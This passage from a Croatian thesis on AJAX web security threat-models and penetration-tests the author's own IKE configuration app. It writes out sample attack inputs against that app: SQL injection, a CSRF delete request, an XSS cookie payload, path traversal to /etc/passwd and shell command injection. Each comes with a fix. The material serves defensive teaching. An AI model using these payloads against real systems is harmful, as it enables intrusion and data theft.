autentificirani korisnik vri pohranu konfiguracija u bazu podataka ili na tvrdi disk;
autentificirani korisnik koritenjem odabrane konfiguracije pokree IKE aplikaciju i

pregledava njene zapise;
autentificirani korisnik zaustavlja rad IKE aplikacije;
autentificirani korisnik vri odjavu s Web aplikacije.
4.4.2. Koritene tehnologije

Ova Web aplikacija koristi sljedee tehnologije:
Web posluitelj: Linux 2.6.17-10-generic, Apache 2.0.55;
prezentacijska logika: PHP 5.1.6 (Zend Framework 0.8.0, YUI 2.2.0);
baza podataka: MySQL 5.0.24a.

85
4.4.3. Sigurnosni mehanizmi aplikacije
autentifikacija korisnika implementacijom CHAP protokola;
ModSecurity 2 sigurnosna stijena za Apache posluitelj [46];
SSL pristup Web posluitelju;
izmjena kljua sjednice pri svakom zahtjevu od strane autentificiranog korisnika.
4.4.4. Granice povjerenja

Pojedine komponente aplikacije imaju meusobno povjerenje koje se oituje kroz sljedee:
baza podataka vjeruje zahtjevima Web aplikacije,
komponente pristupa bazi podataka vjeruju da im upravljake komponente daju valjane

unose.
4.4.5. Tokovi podataka

Za anonimnoga korisnika jedini tok podataka je pristup stranici za prijavu, a tok prijave CHAP
protokolom prikazan je na slici 4.25. Anonimni korisnik unosi korisniko ime i zaporku. Zaporka se
u klijentskom pregledniku kdira jednosmjernom MD5 funkcijom, te joj se nakon toga dodaje
sluajni niz znakova koje je aplikacija umetnula u stranicu za prijavu pa se oboje kdira MD5
Slika 4.25. Tok prijave na aplikaciju CHAP protokolom
funkcijom. Korisniko ime i stvoreni niz znakova se alju posluitelju koji uvidom u zabiljeeni
sluajni niz znakova i MD5 zapis korisnike zaporke pokuava autentificirati korisnika. Ovime je
izvrena implementacija CHAP protokola.
Nakon uspjene autentifikacije, mogui tokovi podataka su bazirani na sljedeem, kako prikazuje
slika 4.26. Korisnik zadaje akciju klikom na vezu. Preglednik alje AJAX zahtjev prema aplikaciji
na posluitelju. Punja provjerava da li je korisnik autentificiran, mijenja klju sjednice i
preusmjerava obradu traenoj kontroli. Kontrola odreuje o kojoj akciji se radi te ju izvrava.
86
Slika 4.26. Tokovi podataka aplikacije nakon prijave korisnika
Tijekom izvravanja se puni predloak pogleda, koji se zatim vraa klijentskom pregledniku.
Preglednik prihvaa podatke i umee ih u DOM stablo te izvrava JavaScript kd koji je primio
zajedno s podacima.
4.4.6. Prijetnje i nain zatite

Sljedee prijetnje aplikaciji od strane tree osobe su mogue:
Pogaanje korisnike zaporke

Ogranienje na tri neispravna unosa, nakon ega se pretpostavlja da je napadnut korisniki
raun te se korisniku vie ne dozvoljava pristup, ak i ako unese ispravnu zaporku.
Prislukivanje prometa izmeu preglednika korisnika i Web posluitelja, da bi se dohvatilo

korisniko ime i zaporku ili klju sjednice
Korisnika zaporka se kdira tijekom prijave CHAP protokolom te se nikada ne alje u
izvornom obliku kroz mreu. Klju sjednice se mijenja svakim pozivom prema aplikaciji.
Preporueno je koritenje SSL protokola ime se vri enkripcija svih podataka koji putuju
vezom od klijenta do posluitelja.
Neautorizirani pristup Web posluitelju i njegovim datotekama

Potrebno je osigurati sigurno okruje za Web aplikaciju tako da se omoguuje pristup
operacijskom sustavu i datotekama posluitelja iskljuivo za autorizirane korisnike.
SQL umetanje pri unosu korisnikog imena

Korisniko ime se pri pretraivanju baze podataka filtrira za nepotrebne znakove.
87
Kraa kljueva SSL veze

Potrebno je osigurati okruje u kojem se za SSL vezu koriste valjani certifikati.
Prikaz informacija o grekama

Da bi se sprijeio prikaz informacija o grekama aplikacije krajnjem korisniku, potrebno je
iskljuiti sve opcije ispravljanja pogreaka za PHP razvojnu okolinu.
CSRF napad
Ukoliko je napada upoznat s nainom rada aplikacije, koritenjem CSRF napada preko
korisnika koji ima valjanu sjednicu (ukoliko ga prevari tako da korisnik u pregledniku otvori
zloudnu stranicu), mogue je izvriti naredbe na aplikaciji. Vrlo teko je zatititi bilo koju
aplikaciju od ove vrste napada. Iznimno je vano da se korisnik nakon rada odjavi s
aplikacije te da pazi koje stranice, veze i elektronike poruke koristi dok ima valjanu
sjednicu.
Obzirom da je navedenim mehanizmima aplikacija relativno dobro zatiena od presretanja

podataka, potrebno je obratiti pozornost na napade od strane korisnika koji su autorizirani i na
neposredne napade. Osim ve navedenih, mogue su i sljedee prijetnje:
SQL umetanje pri operacijama s bazom podataka

Napada bi mogao izvriti naredbe u bazi podataka te time pristupati ili mijenjati podatke u
bazi. Podaci u pristupu bazi podataka filtriraju se za nepotrebne znakove.
Umetanje naredbi za operacijski sustav

Napada bi mogao umjesto pokretanja IKE aplikacije, pokuati izvriti druge naredbe na
operacijskom sustavu. Korisnikom raunu koji koristi Apache posluitelj za davanje
naredbi operacijskom sustavu, u administratorskom nainu rada omogueno je izvravanje
samo potrebnih naredbi.
Pokretanje IKE aplikacije s postavkama koje omoguuju eksploataciju prava u lokalnoj

mrei
Ukoliko napada stvori konfiguraciju kojom e omoguiti eskalaciju povrede prava na
lokalnoj mrei, mogu je neautorizirani lokalni pristup mrei. Ovaj problem je praktiki
nemogue rijeiti, osim kontrolom administratora mree.
XSS napad umetanjem zloudnog kda u konfiguracijske datoteke

Ukoliko napada umetne zloudni JavaScript kd u zapis konfiguracijske datoteke, moglo bi
doi do izvravanja kda. Obzirom da se radi o datotekama sa specifinom namjenom, pri
pohrani i prikazu, ne vri se kontrola podataka osim u smislu ispravnosti za koritenje u
njihovoj osnovnoj namjeni.
4.5. Penetracijsko testiranje aplikacije

Penetracijsko testiranje aplikacije moe se vriti na dva naina, automatskim testiranjem
koritenjem postojeih alata za sigurnosno testiranje Web aplikacije kao to je Paros alat, ili runim
testiranjem, ponovno uz pomo alata koji slue runom testiranju kao to je WebScarab alat. Alati
za runo testiranje omoguuju runu izmjenu parametara HTTP zahtjeva i HTTP zaglavlja, kao i
razliite druge provjere koje za nije mogue automatizirati za testiranje specifinih aplikacija [14,
18].
88
4.5.1. Automatsko testiranje Paros alatom

Automatsko testiranje je obino primjerenije za aplikacije koje su esto koritene i koje za koje alat
ima mogunost prepoznavanja, kao to je npr. Joomla CMS aplikacija, meutim, moe pomoi u
otkrivanju moguih zahtjeva koje je najbolje zatim runo testirati. Jedan od alata koje OWASP
preporuuje je Paros. Paros je alat potpuno napisan u Javi te obzirom na injenicu da se koristi kao
posrednik, u mogunosti je dohvatiti i vriti izmjene na HTTP i HTTPS prometu izmeu
posluitelja i klijenta. Slika 4.27 prikazuje skeniranje aplikacije Paros alatom.
Slika 4.27. Skeniranje aplikacije Paros alatom
Testiranje aplikacije Paros-om zapoinje definiranjem aplikacije koju elimo testirati, te poetnim
pretraivanjem postojeih resursa na posluitelju. Obzirom da WebIKE aplikacija ukoliko korisnik
nije prijavljen, dozvoljava pristup iskljuivo /login/index stranici, Paros e pokuati pristupiti
oekivanim resursima, ali e ga posluitelj preusmjeriti na /login/index. Sve to e Paros otkriti
tijekom ove faze pretrage, su JavaScript datoteke u direktoriju /build koje su vezane na
/login/index stranicu. U ovoj fazi Paros oito nije otkrio nita to se runo ne moe dohvatiti
pokuajem pristupa aplikaciji.
Obzirom da Paros radi kao posrednik, korisniku koji testira aplikaciju u interesu je da Paros dobije
informacije o svim moguim zahtjevima prema aplikaciji. Stoga se preporua u pregledniku (nakon
postavljanja pristupa aplikaciji kroz Paros posrednik) izvriti prijavu na sustav i runo, surfanjem po
aplikaciji i izvoenjem svih njezinih funkcija dozvoliti Paros-u da detektira sve zahtjeve koje klijent
alje prema posluitelju da bi se identificirali svi koriteni resursi. Tada Paros moe izvriti
automatsko testiranje aplikacije. Rezultati testiranja prikazuju se u obliku izvjetaja, kao na slici
4.28.
Nakon to je Paros testirao sve pojedine resurse aplikacije, uvidom u izvjetaj koji je generirao i
zapise o resursima koje je testirao vidljivo je da ovaj nain testiranja nije dao kvalitetne rezultate.
Prema izvjetaju, detektirana su ukupno etiri problema. Jedan srednje teine, gdje se preporuuje
iskljuivanje "autocomplete" opcije u HTML polju za unos korisnikog imena pri prijavi, da
preglednik ne bi vrio automatsko postavljanje korisnikog imena i zaporke za prijavu u polje
formulara ukoliko ju je pohranio pri nekoj prethodnoj prijavi. Od ostala tri problema, dva se odnose
na detektiranu datoteku /login/dologin~ koja je oznaena kao privremena kopija datoteke
89
Slika 4.28. Izvjetaj Paros alata
nastala uslijed izmjena datoteke na sustavu. Meutim, nije tono poznato koji je
razlog detektiranja ove datoteke, obzirom da nam je poznato da je /login/dologin resurs zapravo
akcija dologin klase kontrole login te da datoteka zapravo ne postoji. Zadnji problem je detekcija
otkrivanja privatnih IP adresa tijekom komunikacije, tonije Paros je otkrio da se u zahtjevima i
odgovorima prenose privatne IP adrese. Detaljnijim uvidom vidimo da se radi o IP adresama koje se
nalaze u podacima konfiguracijskih datoteka koji se prenose izmeu klijenta i posluitelja te ovo
moemo smatrati nunim i ne toliko opasnim za sustav. Pregledom zapisa resursa koje je testirao,
vidljivo je da je Paros imao problem u pristupu resursima te da je praktiki sva testiranja vrio na
javno dostupnim resursima kao to su JavaScript datoteke, jer je nepoznavanjem logike aplikacije i
mehanizma prijave, neuspjeno pokuavao pristupiti resursima namijenjenim prijavljenom
korisniku.
/login/dologin
Obzirom na strukturu aplikacije i veliku koliinu JavaScript-a koja je specifina za AJAX

aplikacije, ovakav rezultat automatskog testiranja je bilo oekivano, meutim Paros je relativno
dobro identificirao sve pozive koji se odvijaju tijekom koritenja aplikacije, kao i parametre
zahtjeva koji se alju, to je dobra baza za runo testiranje.
4.5.2. Runo testiranje aplikacije

Runo testiranje aplikacije, obzirom na logiku i strukturu, podijeljeno je u dva ogledna segmenta te
je izvreno kao whitebox testiranje uz uvid u kd aplikacije. Segmenti testiranja su testiranje
eksploatacije ranjivosti od strane neautoriziranog korisnika i od strane autoriziranog korisnika.
Neautorizirani korisnik, kako je ve reeno, ima pristup iskljuivo login/index stranici za prijavu.
Jedina mogunost za prijavu bez poznavanja korisnikog imena i zaporke jest SQL umetanje u polja
prijave. Obzirom da nam je poznato da aplikacija vri CHAP prijavu te da se korisnika zaporka
prije slanja kriptira, ali i da se provjera na posluitelju odvija usporedbom bez izravnog umetanja
vrijednosti polja zaporke iz zahtjeva u SQL upit, jasno je da SQL umetanje u polje zaporke nee
dati nikakve rezultate. S druge strane, vrijednost dana u polje korisnikog imena se koristi u SQL
upitu pa bi ono moglo biti ranjivo na SQL umetanje. Obzirom se sve svi parametri zahtjeva, pa tako
i korisniko ime filtriraju kroz Zend_Filter, te obzirom da se ista vrijednost pri umetanju u SQL upit
90
komentira, ali i obzirom na nain autentifikacije, standardno SQL umetanje tipa 1' OR '1'='1 ne daje
rezultate. ak i kada bi se uspjelo prevariti aplikaciju natjeravi je SQL umetanjem da odabere prvo
postojee korisniko ime iz baze podataka, nije realno oekivati da bi se vrijednost zaporke
uspjeno usporedila.
Ono to neautorizirani korisnik jo moe pokuati jest presretanje, prislukivanjem prometa izmeu
autoriziranog klijenta i aplikacije. Ukoliko se prema preporuci koristi SSL enkripcija veze, te uz
njenu ispravnu konfiguraciju, napada je nemoan jer je sav promet za njega nerazumljiv. Ukoliko
se SSL enkripcija ne koristi, napada je u mogunosti vidjeti sve podatke koji se prenose izmeu
klijenta i posluitelja, to ukljuuje identifikator sjednice u zaglavlju zahtjeva i odgovora, ali i
korisniko ime i CHAP zapis zaporke pri prijavi na sustav. Ukoliko napada prepozna CHAP
mehanizam, u mogunosti je otkriti zaporku koju korisnik koristi za prijavu. Ovo moemo
simulirati snimanjem prometa u oba sluaja.
Ukoliko se SSL ne koristi, napada moe snimiti proces prijave korisnika te dohvatiti podatke za
prijavu iz dva HTTP zahtjeva i odgovora. Iz kda stranice za prijavu napada moe izvui algoritam
prijave koji se koristi, to je vidljivo na slici 4.29.
Slika 4.29. Izvorni kd stranice s JavaScript kdom vidljiv je pri prijenosu podataka
Tonije, napada moe prepoznati da se radi o CHAP protokolu, ali i vrijednost saetka koji se
dodaje na kriptiranu zaporku te obzirom na vrijednost saetka zaporke poslanog u sljedeem
koraku, reverznim postupkom moe otkriti valjanu zaporku za prijavu. Korisniko ime se alje u
izvornom obliku pa je lako dohvatljivo, kao to se vidi na slici 4.30.
Slika 4.30. Podaci autentifikacije vidljivi pri prijenosu podataka
Ukoliko bi pokuao koritenjem posljednjeg postavljenog identifikatora sjednice koji je vidljiv u

zaglavlju odgovora izvriti slanje zahtjeva prema aplikaciji, prije nego legalni korisnik uputi novi
zahtjev i identifikator se promjeni, to bi uspio te bi se identifikator sjednice promijenio zahtjevom
napadaa i time onemoguio pravog korisnika u daljnjem radu s aplikacijom. Ovo je iznimno
ozbiljan problem te se iskljuivo upotrebom SSL enkripcije veze moe zaustaviti ovaj tip napada.
Ukoliko se SSL enkripcija koristi, jasno je da napada nee vidjeti niti zaglavlja HTTP zahtjeva niti
sadraj koji se prenosi.
Jo jedna mogunost vanjskog napada jest da napada prisili ili prevari prijavljenog korisnika na
posjetu stranice koja e natjerati preglednik korisnika na slanje zahtjeva prema aplikaciji. Pri slanju
91
tog zahtjeva, alje se valjani kolai sjednice te bi napada posredstvom korisnika mogao izvriti
neku akciju na aplikaciji. Ukoliko korisnik posjeti stranicu sadraja kao u ispisu 4.5, dok je
prijavljen na WebIKE aplikaciju,
Ispis 4.5. Primjer stranice za CSRF napad na aplikaciju
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
</head>
<body>
<img src="http://192.168.11.128/zend-ike/disc/delete?filename=proba.xml"/>
</body>
</html>
preglednik klijenta bi poslao aplikaciji zahtjev za brisanje datoteke proba.xml to bi se uspjeno

izvrilo, meutim napada ne bi dobio mogunost nikakve kontrole nad korisnikom aplikacije ili
aplikacijom osim zadavanja ovog zahtjeva. Iako ovakav napad zahtjeva da napada poznaje okruje
i aplikaciju koja se koristi pa ga je time i tee oekivati, potreban je oprez pri koritenju veza i
posjeti potencijalno opasnih stranica u tijeku rada na aplikaciji. Ukoliko bi se koristila provjera
zahtjeva na posluitelju putem Referer polja zaglavlja HTTP zahtjeva, ovaj napad bi se jednostavno
zaustavio obzirom da Referer polje odaslano sa zloudne stranice ne bi odgovaralo Referer polju
legalnog zahtjeva. Jednostavna provjera koja se bazira na adresi posluitelja izgleda kao u ispisu
4.6.
Ispis 4.6. Kd provjere Referer polja zaglavlja na posluitelju
if(isset($_SERVER['HTTP_REFERER'])){
$referer=$_SERVER['HTTP_REFERER'];
$hostname=$app->ip_address;
$url=parse_url($referer);
if($url['host'] != $hostname) Zend::register('login_redirect',true);
}
Ukoliko referer polje zahtjeva nije jednako adresi posluitelja, zahtjev se odbacuje
preusmjeravanjem kao u sluaju da se ne radi o autoriziranom korisniku. Nakon detekcije ovog
propusta, kd je dodan u punilac aplikacije pa bi ovaj napad bilo mogue izvriti jedino s
posluitelja na kojem je i aplikacija.
Ukoliko je napada autorizirani korisnik aplikacije, jasno je da ima vee mogunosti na cijelom
sustavu. Obzirom na logiku aplikacije, nekoliko je mogunosti napada.
Napada moe pokuati umetanje JavaScript kda u dijelove aplikacije koje moe mijenjati. To se
prije svega odnosi na konfiguracijske datoteke. Korisnik je u mogunosti u konfiguracijsku datoteku
dodati standardni XSS JavaScript kd, npr. <script>alert(document.cookie);</script>, kao
na slici 4.31.
92
Slika 4.31. Ubacivanje XSS kda u konfiguracijsku datoteku
Ovaj izraz se nee filtrirati pri pohrani datoteke, ali e se zato pri ponovnom prikazu datoteke
izvriti HTML kdiranje sadraja pa preglednik ovaj izraz nee shvatiti kao HTML znakove. U
sluaju da se ovo pravilo ipak zaobie nekim nestandardnim kdiranjem, eventualno postoji
mogunost izvoenja JavaScript kda. Meutim, obzirom da se sadraj konfiguracijske datoteke
postavlja unutar HTML textarea oznake u kojoj se sav sadraj tretira kao tekst, potrebno ju je
zatvoriti da bi se izraz tretirao kao HTML kd, a ne kao sadraj unutar textarea oznake. to se tie
XML datoteke, ovaj tip napada je jo tei jer se postupkom parsiranja XML datoteke pri stvaranju
stabla ovaj izraz tretira kao vor i ralanjuje, kako je vidljivo na slici 4.32.
Slika 4.32. Ubacivanje XSS kda u XML generiku datoteku
Najranjiviji bi mogao biti HTML prikaz datoteke, gdje se sadraj datoteke prikazuje kao HTML
dodavanjem u DOM stablo, ali uspjenim HTML kdiranjem se izvoenje kda izbjegava, kako
prikazuje slika 4.33.
Slika 4.33. HTML prikaz XSS kda
Kroz mogunost ureivanja datoteka, javlja se mogunost pristupa ostalim datotekama na

posluitelju. Stoga napada moe pokuati izmjenom parametara HTTP zahtjeva umjesto
konfiguracijske datoteke otvoriti npr. /etc/passwd datoteku. Ukoliko koritenjem WebScarab-a ili
93
nekog drugog posrednikog alata izmijenimo zahtjev prije slanja tako da umjesto zahtjeva
/disc/load?filename=proba.conf
poaljemo
zahtjev
/disc/load?filename=../../../../etc/passwd, aplikacija e za ureivanje otvoriti
/etc/passwd datoteku, kako je prikazano na slici 4.34.
Slika 4.34. Modificirani zahtjev /disc/load?filename=../../../../etc/passwd otvara za

ureivanje datoteku /etc/passwd
Ovakav pristup datotekama mogu je iskljuivo koritenjem ovlasti korisnikog rauna posluitelja
(www-data) koji moe pristupiti svim javnim datotekama, kao i ostali korisnici na posluitelju.
Onemoguavanje se moe izvriti u modelu disc, kako pri uitavanju, tako i pri pohrani datoteke,
tako da se koritenjem real_path() PHP funkcije dozna stvarni put koji korisnik trai
(eliminacijom ../ tako da izraz iz gornjem zahtjevu bude jednak /etc/passwd) i provjerom da li
taj put odgovara npr. direktoriju /var/www/webike/confs/ u kojem se nalaze konfiguracije). Ovaj
propust se dakle ne odnosi samo na spomenute datoteke, ve na sve datoteke kojima korisniki
raun posluitelja ima pristup, to ukljuuje i PHP datoteke aplikacije, kao i config.ini datoteku.
U sklopu pokretanja racoon alata, aplikacija izdaje naredbe kroz konzolu sustava (engl. shell).
Umetanjem nove naredbe u neke od parametara pokretanja racoon alata, moemo uzrokovati
izvoenje te naredbe u konzoli, meutim ovo je ponovno ogranieno ovlastima korisnikog rauna
posluitelja i dodatnim ovlastima administratorskog izvoenja kroz sudoers datoteku. Ukoliko kao
dodatni argument pokretanja racoon alata umetnemo izraz ; cat /etc/passwd >
/var/www/zend-ike/confs/racoon.log gdje je /var/www/zend-ike/confs/racoon.log
datoteka koja se koristi za zapise, nakon pokretanja racoon alata, izvrit e se i pohrana sadraja
/etc/passwd datoteke u datoteku zapisa, te e se osvjeavanjem zapisa sadraj /etc/passwd
datoteke prikazati meu zapisima racoon alata, kako prikazuje slika 4.35. Onemoguavanje se moe
izvriti kontrolom unosa korisnika prije pokretanja alata, to se prvenstveno odnosi na znak ";" koji
slui odvajanju naredbi u konzoli sustava.
94
Slika 4.35. Sadraj /etc/passwd datoteke prikazan meu zapisima racoon alata
Posljednja dva problema nisu ispravljena postavljanjem ogranienja, iako bi se to lako moglo
ostvariti, iskljuivo da bi se omoguila fleksibilnost korisnika aplikacije. Upravo stoga, potrebno je
napomenuti da bi korisnici aplikacije trebale biti osobe od povjerenja administratora.
95
5. Zakljuak
Razvoj Web-a u zadnjem desetljeu uveo je mnotvo novih mogunosti, ali i mnotvo novih
problema. Putem od poetaka i statikog sadraja, pa do dananjih viemedijskih, interaktivnih i
dinamikih sadraja i usluga koje Web nudi, provlai se stalna potreba za napretkom u svim
segmentima i smjerovima, ali i njihova zatita. Web zadnjih nekoliko godina, posebice od poetka
Web 2.0 evolucije, postaje nova raunalna i komunikacijska platforma. Evolucija Web-a postavlja
nove ciljeve u razvoju, ali e sigurnost zasigurno ostati jedan od glavnih aspekata. Veina se jo nije
navikla na injenicu kako Web posluitelj vie nije glavna karika sigurnosti, ve da su to postali i
klijent i komunikacijski kanal, gdje je sigurnosti potrebno posvetiti ako ne veu, onda barem
jednaku panju, kako u trenutnom stadiju, tako i u novostima koje tehnologija donosi.
Kroz primjere u ovome radu, prikazani su trendovi u razvoju zloudnog kda, prvenstveno na
klijentskoj strani u JavaScript jeziku, koji preuzimaju glavnu ulogu u napadima na korisnike, ali i na
pruatelje usluga. Vrlo je znaajan trend opadanja broja tradicionalnih oblika virusa i ogromno
poveanje broja Internet crva i ostalog zloudnog kda koji postoji i iri se iskljuivo na Internet
mrei kao svojoj platformi.
Aplikacija stvorena u praktinom radu je predviena za dodatna proirenja mogunosti, posebice u
smjeru upotpunjenja podrke za IKEv2 alat, ali i kao ogledni primjer AJAX aplikacije. Dodatno
osnaivanje sigurnosnih mehanizama aplikacije treba vriti paralelno s proirenjem mogunosti.
Takoer, u aplikacijama koje su specifine po zahtjevima kao ova, mogue je raspravljati o upitnoj
isplativosti koritenja AJAX-a ondje gdje moda i nije potreban, tj. koritenje AJAX-a samo radi
AJAX-a. Pitanje je jesu li za ovaj tip aplikacije Web platforma i AJAX model nuni, posebice u fazi
testiranja, jer iako daju aplikaciji dodatnu interaktivnost, dovode do znaajnih komplikacija pri
proirenju.
Matija Zeman
_________________
96
6. Literatura
[1]
[2]
Ajax Tutorial, dostupno na Internet adresi http://www.xul.fr/en-xml-ajax.html

Jesse James Garrett: Ajax - A New Approach to Web Applications, dostupno na
Internet adresi
http://www.adaptivepath.com/publications/essays/archives/000385.php
[3]
Wikipedia AJAX, dostupno na Internet adresi
http://en.wikipedia.org/wiki/Ajax_%28programming%29
[4]
Wikipedia XMLHttpRequest, dostupno na Internet adresi
http://en.wikipedia.org/wiki/XMLHttpRequest
[5]
Wikipedia JavaScript, dostupno na Internet adresi
http://en.wikipedia.org/wiki/JavaScript
[6]
Wikipedia XML, dostupno na Internet adresi http://en.wikipedia.org/wiki/Xml
[7]
Wikipedia JSON, dostupno na Internet adresi http://en.wikipedia.org/wiki/Json
[8]
Zend Framework, dostupno na Internet adresi http://framework.zend.com
[9]
Yahoo User Interface Toolkit, dostupno na Internet adresi
http://developer.yahoo.com/yui/
[10] Jaswinder S. Hayre, Jayasankar Kelath: Ajax Security Basics, dostupno na Internet
adresi http://www.securityfocus.com/infocus/1868/1
[11] Jeremiah Grossman blog, dostupno na Internet adresi
http://jeremiahgrossman.blogspot.com
[12] Stewart Twynham, Bawden Quinn Associates: AJAX Security, dostupno na Internet
adresi http://www.it-observer.com/articles/1062/ajax_security/
[13] Earle Castledine: Using the XMLHttpRequest Object and AJAX to Spy On You,
dostupno na Internet adresi http://www.devx.com/webdev/Article/28861
[14] Paros proxy, dostupno na Internet adresi http://www.parosproxy.org/
[15] Greasemonkey, dostupno na Internet adresi http://www.greasespot.net/
[16] Technical explanation of The MySpace Worm, dostupno na Internet adresi
http://namb.la/popular/tech.html
[17] OWASP Top 10 Project, dostupno na Internet adresi
http://www.owasp.org/index.php/OWASP_Top_Ten_Project
[18] OWASP WebScarab, dostupno na Internet adresi
http://www.owasp.org/index.php/OWASP_WebScarab_Project
[19] Eval'ing with IE's window.execScript, dostupno na Internet adresi
http://ajaxian.com/archives/evaling-with-ies-windowexecscript
[20] Shreeraj Shah: Vulnerability Scanning Web 2.0 Client-Side Components, dostupno
na Internet adresi http://www.securityfocus.com/infocus/1881/1
[21] Chris Shiflett: Zend Framework Tutorial, dostupno na Internet adresi
http://hades.phparch.com/ceres/public/article/index.php/art::zend_framework::tutorial/0
[22] Joe Stump: Understanding MVC in PHP, dostupno na Internet adresi
http://www.onlamp.com/pub/a/php/2005/09/15/mvc_intro.html
[23] JavaScript includes - yet another way of RPC-ing, dostupno na Internet adresi
http://www.phpied.com/javascript-include/
[24] Chris Shiflett: Cross-Domain Ajax Insecurity, dostupno na Internet adresi
http://shiflett.org/blog/2006/aug/cross-domain-ajax-insecurity
[25] Missing image hack, dostupno na Internet adresi
97
http://www.ajaxprogrammer.com/?p=17
[26] W3C working draft XMLHttpRequest object, dostupno na Internet adresi
http://www.w3.org/TR/XMLHttpRequest/
[27] Shreeraj Shah, Hacking Web 2.0 Applications with Firefox, dostupno na Internet
adresi http://www.securityfocus.com/infocus/1879
[28] Chris Shiflett: Cross-Site Request Forgeries, dostupno na Internet adresi
http://shiflett.org/articles/cross-site-request-forgeries
[29] Chris Shiflett: Foiling Cross-Site Attacks, dostupno na Internet adresi
http://shiflett.org/articles/foiling-cross-site-attacks
[30] WhiteHat Security publication - Myth-Busting AJAX (In)security, dostupno na
Internet adresi
http://www.whitehatsec.com/home/resources/articles/files/myth_busting_ajax_insecurity.ht
ml
[31] Shreeraj Shah: Top 10 Ajax Security Holes and Driving Factors, dostupno na
Internet adresi http://www.net-security.org/article.php?id=956
[32] Jeremiah Grossman: Goodbye applet - hello nated IP address, dostupno na Internet
adresi
http://jeremiahgrossman.blogspot.com/2007/01/goodbye-applet-hello-nated-ip-address.html
[33] Same-Origin Policy Part 1 - Why were stuck with things like XSS and XSRF/CSRF,
dostupno na Internet adresi
http://taossa.com/index.php/2007/02/08/same-origin-policy/
[34] GNUCITIZEN Backdooring flash objects, dostupno na Internet adresi
http://www.gnucitizen.org/blog/backdooring-flash-objects/
[35] GNUCITIZEN Backdooring flash objects receipt, dostupno na Internet adresi
http://www.gnucitizen.org/blog/backdooring-flash-objects-receipt/
[36] GNUCITIZEN Backdooring quicktime movies, dostupno na Internet adresi
http://www.gnucitizen.org/blog/backdooring-quicktime-movies/
[37] Bill Brenner: Report warns of critical flaw in Web 2.0, dostupno na Internet adresi
http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci1249966,00.html
[38] GNUCITIZEN Attack API, dostupno na Internet adresi
http://www.gnucitizen.org/projects/attackapi/
[39] Browser fun Browser bugs, tricks and hacks, dostupno na Internet adresi
http://browserfun.blogspot.com/
[40] Abe Fettig: How to make XmlHttpRequest calls to another server in your domain,
dostupno na Internet adresi http://fettig.net/weblog/2005/11/28/how-to-makexmlhttprequest-connections-to-another-server-in-your-domain/
[41] Ha.ckers blog, dostupno na Internet adresi http://ha.ckers.org
[42] WhiteHat Security, dostupno na Internet adresi http://www.whitehatsec.com
[43] The Web Application Security Consortium, dostupno na Internet adresi
http://www.webappsec.org
[44] PHPClasses, dostupno na Internet adresi http://www.phpclasses.org
[45] MyAppSecurity Attack Labs, dostupno na Internet adresi http://www.attacklabs.com/
[46] ModSecurity 2, dostupno na Internet adresi www.modsecurity.org
[47] OpenLaszlo the premier open-source platform for rich internet applications, dostupno
na Internet adresi http://www.openlaszlo.org/
[48] Adobe Flex 2 development framework, dostupno na Internet adresi
http://www.adobe.com/products/flex/
[49] Shreeraj Shah blog, dostupno na Internet adresi http://shreeraj.blogspot.com/
[50] Tim O'Reilly: Web 2.0 Compact Definition Trying again, dostupno na Internet
adresi http://radar.oreilly.com/archives/2006/12/web_20_compact.html
[51] W3C Document Object Model (DOM), dostupno na Internet adresi
98
[52]
[53]
[54]
[55]
[56]
[57]
[58]
[59]
[60]
[61]
[62]
[63]
[64]
[65]
[66]
[67]
[68]
http://www.w3.org/DOM
RFC 4627 The application/json Media Type for JavaScript Object Notation,
dostupno na Internet adresi http://www.ietf.org/rfc/rfc4627.txt
RFC 2965 HTTP State Management Mechanism, dostupno na Internet adresi
http://www.ietf.org/rfc/rfc2965.txt
Amit Klein: HTTP Response Smuggling, dostupno na Internet adresi
http://www.cgisecurity.com/lib/http_response_smuggling.shtml
Amit Klein: HTTP Response Splitting, Web Cache Poisoning Attacks and Related
Topics White Paper, dostupno na Internet adresi
http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf
Jeremiah Grossman: Cross-site tracing, dostupno na Internet adresi
http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: HTTP Request Smuggling,
http://www.watchfire.com/resources/HTTP-Request-Smuggling.pdf
Mozilla Same origin policy, dostupno na Internet adresi
http://www.mozilla.org/projects/security/components/same-origin.html
DWR Direct Web Remoting, dostupno na Internet adresi http://getahead.org/dwr/
Firebug Firefox dodatak, dostupno na Internet adresi http://www.getfirebug.com/
Chickenfoot Firefox dodatak, dostupno na Internet adresi
http://groups.csail.mit.edu/uid/chickenfoot/
Anton Rager: XSS Proxy, dostupno na Internet adresi
http://xss-proxy.sourceforge.net/
Jeremiah Grossman: Jikto - crossing the line, dostupno na Internet adresi
http://jeremiahgrossman.blogspot.com/2007/03/jikto-crossing-line.html
Joris Evers: Tool turns unsuspecting surfers into hacking help, dostupno na Internet
adresi http://news.com.com/2100-1002_3-6169034.html
SPI Dynamics, dostupno na Internet adresi http://www.spidynamics.com/
Brian Chess, Yekaterina Tsipenyuk O'Neil, Jacob West: JavaScript Hijacking,
http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf
ASP.NET AJAX, dostupno na Internet adresi http://ajax.asp.net/
Jeremiah Grossman: JavaScript malware, dostupno na Internet adresi
https://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Grossman.pdf
99
Dodatak A - XML shema generike konfiguracije

<?xml version="1.0" encoding="UTF-8" ?>
<schema xmlns="http://www.w3.org/2001/XMLSchema"
xmlns:WEBIke="http://www.example.org/NewXMLSchema"
targetNamespace="http://www.example.org/NewXMLSchema">
<element name="IKE" type="WEBIke:IKEEntrys" />
<complexType name="IKEEntrys">
<sequence>
<element name="IPSec" type="WEBIke:IPSecEntry"/>
</sequence>
</complexType>
<complexType name="IPSecEntry">
<sequence>
<element name="Local" type="WEBIke:LocalOptions" />
<element name="Remote" type="WEBIke:RemoteEntry"
maxOccurs="unbounded"/>
<element name="SA" type="WEBIke:SAEntry" maxOccurs="unbounded"/>
</sequence>
</complexType>
<complexType name="LocalOptions">
<sequence>
<element name="LocalAddress" type="WEBIke:ipAddressType" />
<element name="LocalInterface" type="WEBIke:interfaceType" />
<element name="LocalPort" type="WEBIke:portRangeType" />
<element name="LocalID" type="string" />
</sequence>
